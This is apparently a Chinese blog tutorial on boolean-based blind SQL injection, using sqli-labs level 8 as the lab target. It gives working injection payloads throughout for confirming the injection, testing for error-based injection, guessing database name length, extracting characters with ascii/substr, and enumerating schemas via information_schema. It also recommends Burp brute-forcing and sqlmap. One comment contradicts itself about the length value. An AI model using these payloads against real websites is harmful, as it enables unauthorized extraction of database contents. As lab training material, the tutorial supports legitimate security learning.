sql注入——布尔注入

以sqli-labs-master 闯关游戏第八关为例:

第一步:判断注入点

?id=1' and 1=2-- -   //页面显示异常
?id=1' and 1=1-- -   //页面正常显示

sql注入——布尔注入_第1张图片

第二步:判断是什么类型的注入点

构建报错语句:

?id=1' and updatexml(1,0x7e,1)-- -

sql注入——布尔注入_第2张图片

页面无显示,那就不是报错注入:

那就判断是不是布尔注入,首先判断布尔注入要先判断他的长度:

准备语句:?id=1' and length(database())=8-- -

页面有显示,那就证明是布尔注入点且数据库的长度是8

sql注入——布尔注入_第3张图片

爆库名表名

猜测数据库的基本信息的长度:
			and length(database())=8 -- - //页面正常显示,表示长度就是14
			and length(database())=7 -- - //页面空显示,表示错误
			可以使用bp进行爆破,爆破数字7
		截取数据库名的第一个字母:
			and ascii(substr(database(),1,1))=8 -- -  //第一个字符开始截取,截取一个长度
			使用bp爆破数字
			再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
		判断mysql中数据库的数量:
			and (select count(*) from information_schema.schemata)=1 -- - 
			使用bp爆破数字,得出正确的长度
		判断第一个数据库名的长度:
			and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
			使用爆破数字,得到正确的长度
		判断第一个数据库名的第一个字符:
			and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
			解释:limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度

由于布尔注入的繁琐性:

推荐使用工具sqlmap:

 

 

 

 

你可能感兴趣的:(sql注入——布尔注入)